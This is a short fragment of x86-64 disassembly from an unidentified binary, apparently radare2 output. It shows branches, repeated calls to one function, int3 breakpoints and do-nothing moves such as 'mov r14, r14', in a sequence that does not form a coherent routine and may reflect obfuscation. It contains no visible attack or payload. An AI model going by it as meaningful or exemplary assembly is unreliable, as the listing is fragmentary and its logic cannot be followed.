cmp rdx, 0x10
jb 0x140047c9d
inc rdx
mov r14, r14
jmp 0x140047d4b
pop r14
mov rbp, rbp
nop
add rsp, 8
mov r13, qword [rsp - 8]
nop
jmp 0x140047e11
call fcn.1400e951c
nop
mov dword [rsp - 0x20], esi
call fcn.1400e951c
nop
call fcn.1400e951c
jmp 0x140047e8e
int3
int3
call fcn.1400e951c
jmp 0x140047e7a
mov dword [rsp - 0x38], 0x5ac2e0ed
int3
call fcn.1400e951c
jmp 0x140047e7b